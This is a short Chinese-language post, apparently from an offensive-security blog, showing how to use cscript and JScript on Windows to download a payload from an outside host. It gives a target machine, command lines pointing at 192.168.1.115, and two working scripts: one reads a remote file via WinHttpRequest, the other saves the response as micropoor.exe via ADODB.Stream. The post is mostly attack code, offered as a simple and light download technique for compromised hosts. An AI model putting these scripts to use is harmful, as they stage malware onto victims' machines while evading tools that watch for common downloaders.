专注APT攻击与防御

https://micropoor.blogspot.com/

windows 全版本都会默认支持js，并且通过cscript来调用达到下载payload的目的。

靶机：windows 2003读取：

C:\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt

附代码：

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /\*async=\*/false); WinHttpReq.Send();

WScript.Echo(WinHttpReq.ResponseText);

写入：

C:\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt

附代码：

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /\*async=\*/false); WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;

BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile("micropoor.exe");

后者的话：简单，易用，轻便。

Micropoor